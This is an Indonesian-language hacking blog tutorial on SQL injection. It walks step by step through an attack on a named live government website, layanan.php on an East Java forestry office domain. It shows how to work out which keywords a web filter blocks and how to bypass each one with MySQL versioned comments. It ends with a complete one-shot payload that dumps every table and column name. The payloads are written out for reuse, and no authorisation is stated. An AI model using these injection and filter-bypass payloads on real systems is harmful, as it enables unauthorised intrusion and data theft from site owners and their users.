udah lama sekali ya saya tidak membuat artikel tentang SQLi.
oke kali ini saya akan membahas bagaimana cara menghadapi saat melakukan dios malah kena 403 forbiden.
selain itu saya juga akan memberikan sedikit trick untuk mengetahui query yang terkena filter pada saat SQLi.
oke langsung saja :
live target :
http://upt-pth.dishut.jatimprov.go.id/layanan.php?id=1skip saat melakukan injek point dan order by karena saya yakin kalian sudah tau caranya.
dalam target itu saya menemukan jumlah columnya adalah sebanyak 7 column
dan saya langsung melakukan union select sebanyak 7 column.
dan hasilnya
upps forbiden.
oke di saat seperti ini mari kita cari tahu query mana yg kena filter.
caranya adalah dengan melakukan kata perkata :
id=1 union 1,2,3,4,5,6,7 -- - ( No error )
id=1 select 1,2,3,4,5,6,7 -- - (No error)
id=1 union select 1,2,3,4,5,6,7 -- - (error)jadi kesimpulanya adalah web tersebut menggunakan filter terhadap query union select.
jadi saya akan mencoba membypass salah satu querynya.
di sini saya membypass di bagian union sehingga menjadi.
id=-1 union /*!50000select*/ 1,2,3,4,5,6,7 --dan hasilnya terlihat angka ajaibnya muncul
angka yg muncul adalah
4 daan
6
mari kita coba langsung menggunakan
DIOS pada angka tersebut.
hasilnya
upss muncul
Forbiden again saat saya melakukan dios.
mari kita cari tahu di query mana yg terkena filter di web tersebut.
id=-1 union /*!50000select*/ 1,2,3,concat(),5,6,7 -- ( No error)
id=-1 union /*!50000select*/ 1,2,3,concat(version()),5,6,7 -- (No error dan menampilkan versinya)
id=-1 union /*!50000select*/ 1,2,3,concat(version(),database()),5,6,7 -- (Error)ternyata query
database() terkena filter di web tersebut, oke saya akan melakukan bypass terhadap
database().
langsung aja lah tanpa basa basi saya menggunakan bypass seperti ini
database/**_**/() dan hasilnya adalah
kita bisa lihat hasilnya kita mendapatkan nama database web tersebut :D
oke kita lanjut.
saya akan menambahkan table_name dan column_name
seperti ini
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),table_name,column_name),5,6,7 -- -dan hasilnya saya menemukan error again :(
oke dari penambahan query table_name dan column_name ternyata kena filter pada web tersebut
saya akan membypass query yg terkena filter tersebut seperti ini :
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 -- -dan hasilnya
kita bisa lihat hasilnya web kembali
normal tidak
Forbiden lagi, namun
versi dan nama
database web tersebut menghilang.
jangan khawatir versi dan database itu menghilang karena kita menmabhkan
query table_name dan
column_name saja sehingga web tersebut tidak mengetahui table dan column yg mana yg akan ditampilkan sehingga versi dan nama database tersebut menghilang.
oke lanjut saya akan menambhkan
query From di blangka angka
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 from -- -
dan hasilnya adalah
wtf error again saat penambahan
query from -,- berarti web ini
memfilter query from -,-
gampang gampang susah si untuk
membypass query from ini
oke saya akan mencoba mebypass query from seperti ini :
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 /*!50000from*/ -- - (error)
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 %0Afrom%0A -- (error)
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 from -- - (error)
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),/*!50000table_name*/,/*!50000column_name*/),5,6,7 /*!from*/ -- - (error)fak men muncul error terus :(
lalu bagaimana cara Bypass from kalo segala bypass malah error mulu?
oke saya akan melakukan sedikit trick dalam SQLi
yaitu dengan cara menambahkan
@s di dalam concat jadinya seperti ini :
id=-1 union /*!50000select*/ 1,2,3,concat(version(),0x3c62723e,database/**_**/(),0x3c62723e,@s),5,6,7 -- -
dan hasilnya web seperti semula akan tetapi masih menghilang versi dan nama databsenya.
oke lanjut saya akan menambahkan query andalan saya di saat menemukan kasus seperti ini
yaitu querynya :
div@s:=(concat(@c:=0x00,if((select count(*)/*!50000from*//*!50000information_schema*/.columns where table_schema=database/**X**/() and @c:=concat(@c,0x3c62723e,/*!50000table_name*/,0x3a3a3a3a3e,/*!50000column_name*/)),0x00,0x00),@c))
query ini berguna seperti DIOS pada sqli namun menempatkan query ini di depan union select
bisa di perhatikan dari query tersebut, yg mana saja query yg terkana filter pasti saya melakukan bypass.
menjadi seperti ini querynya
id=-1 div@s:=(concat(@c:=0x00,if((select count(*)/*!50000from*//*!50000information_schema*/.columns where table_schema=database/**X**/() and @c:=concat(@c,0x3c62723e,/*!50000table_name*/,0x3a3a3a3a3e,/*!50000column_name*/)),0x00,0x00),@c)) /*!50000Union*/ Select 1,2,3,concat(version(),0x3c62723e,database/**_**/(),0x3c62723e,@s),5,6,7 -- -
sehingga hasilnya seperti ini :
dan tara hasilnya kita mendapatkan table dan column database web tersebut.
hasil akhirnya seperti ini :
http://upt-pth.dishut.jatimprov.go.id/layanan.php?id=-1 div@s:=(concat(@c:=0x00,if((select count(*)/*!50000from*//*!50000information_schema*/.columns where table_schema=database/**X**/() and @c:=concat(@c,0x3c62723e,/*!50000table_name*/,0x3a3a3a3a3e,/*!50000column_name*/)),0x00,0x00),@c)) /*!50000Union*/ Select 1,2,3,concat(0x3c6833207374796c653d27666f6e742d73697a653a323070783b746578742d736861646f773a20327078203270782035707820617175613b273e,0x5175657279204279206f7269653430343c2f68333e,0x3c62723e,0x3c666f6e7420636f6c6f723d7265643e,0x76657273696f6e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d626c75653e,0x3a3a3a3a3e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,version(),0x3c2f666f6e743e,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,0x75736572,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d626c75653e,0x3a3a3a3a3e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d677265656e3e,user/**_**/(),0x3c2f666f6e743e,0x3c62723e,0x3c666f6e7420636f6c6f723d6d6167656e74613e,0x6461746162617365,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d626c75653e,0x3a3a3a3a3e,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d6d6167656e74613e,database/**_**/(),0x3c2f666f6e743e,0x3c62723e,0x3c6833207374796c653d27666f6e742d73697a653a323070783b746578742d736861646f773a203270782032707820357078207265643b273e,@s),5,6,7 -- -
oke skian dahulu tutorial kali ini.
semoga membantu tutorial kali ini